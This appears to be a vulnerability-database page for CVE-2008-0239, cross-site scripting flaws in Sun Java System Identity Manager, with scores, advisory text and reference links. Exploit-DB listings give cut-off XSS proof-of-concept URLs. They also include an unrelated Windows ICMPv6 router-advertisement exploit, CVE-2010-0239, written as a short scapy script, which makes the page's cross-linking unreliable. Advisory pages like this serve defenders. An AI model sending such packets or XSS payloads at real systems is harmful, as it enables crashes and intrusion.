CVE-2008-0239
published 2008-01-11CVE-2008-0239: Multiple cross-site scripting (XSS) vulnerabilities in Sun Java System Identity Manager 6.0 SP1 through SP3, 7.0, and 7.1 allow remote attackers to inject…
PriorityP422medium4.3CVSS 2.0
AVNACMAuNCNIPAN
EXPLOIT
EPSS
5.70%
92.2th percentile
Multiple cross-site scripting (XSS) vulnerabilities in Sun Java System Identity Manager 6.0 SP1 through SP3, 7.0, and 7.1 allow remote attackers to inject arbitrary HTML or web script via the (1) cntry or lang parameters to /idm/login.jsp, (2) resultsForm parameter to /idm/account/findForSelect.jsp, or (3) activeControl parameter to /idm/user/main.jsp.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sun | java_system_identity_manager | — | — |
| sun | java_system_identity_manager | — | — |
| sun | java_system_identity_manager | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
exploitdb·2010-02-09
CVE-2010-0239 Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
---
source: https://www.securityfocus.com/bid/38061/info
Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions.
v6_dst = ""
mac_dst = ""
pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)
l=fragment6(pkt, 1500)
for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")
Exploit-DB
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/login.jsp' Multiple Cross-Site Scripting Vulnerabilities
exploitdb·2008-01-09
CVE-2008-0239 Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/login.jsp' Multiple Cross-Site Scripting Vulnerabilities
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/login.jsp' Multiple Cross-Site Scripting Vulnerabilities
---
source: https://www.securityfocus.com/bid/27214/info
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable.
https://www.example.com/idm/lo
Exploit-DB
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/account/findForSelect.jsp?resultsForm' Cross-Site Scripting
exploitdb·2008-01-09
CVE-2008-0239 Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/account/findForSelect.jsp?resultsForm' Cross-Site Scripting
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/account/findForSelect.jsp?resultsForm' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/27214/info
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable.
https://www.example.com/idm
Exploit-DB
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/user/main.jsp?activeControl' Cross-Site Scripting
exploitdb·2008-01-09
CVE-2008-0239 Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/user/main.jsp?activeControl' Cross-Site Scripting
Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/user/main.jsp?activeControl' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/27214/info
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable.
https://www.example.com/idm/user/main
No writeups or analysis indexed.
http://secunia.com/advisories/28356http://securityreason.com/securityalert/3535http://sunsolve.sun.com/search/document.do?assetkey=1-26-103180-1http://sunsolve.sun.com/search/document.do?assetkey=1-66-200558-1http://www.procheckup.com/Vulnerability_PR07-06.phphttp://www.procheckup.com/Vulnerability_PR07-07.phphttp://www.procheckup.com/Vulnerability_PR07-08.phphttp://www.procheckup.com/Vulnerability_PR07-09.phphttp://www.securityfocus.com/archive/1/486076/100/0/threadedhttp://www.securityfocus.com/bid/27214http://www.securitytracker.com/id?1019175http://www.vupen.com/english/advisories/2008/0089https://exchange.xforce.ibmcloud.com/vulnerabilities/39580https://exchange.xforce.ibmcloud.com/vulnerabilities/39581https://exchange.xforce.ibmcloud.com/vulnerabilities/39582https://exchange.xforce.ibmcloud.com/vulnerabilities/39583http://secunia.com/advisories/28356http://securityreason.com/securityalert/3535http://sunsolve.sun.com/search/document.do?assetkey=1-26-103180-1http://sunsolve.sun.com/search/document.do?assetkey=1-66-200558-1http://www.procheckup.com/Vulnerability_PR07-06.phphttp://www.procheckup.com/Vulnerability_PR07-07.phphttp://www.procheckup.com/Vulnerability_PR07-08.phphttp://www.procheckup.com/Vulnerability_PR07-09.phphttp://www.securityfocus.com/archive/1/486076/100/0/threadedhttp://www.securityfocus.com/bid/27214http://www.securitytracker.com/id?1019175http://www.vupen.com/english/advisories/2008/0089https://exchange.xforce.ibmcloud.com/vulnerabilities/39580https://exchange.xforce.ibmcloud.com/vulnerabilities/39581https://exchange.xforce.ibmcloud.com/vulnerabilities/39582https://exchange.xforce.ibmcloud.com/vulnerabilities/39583
2008-01-11
Published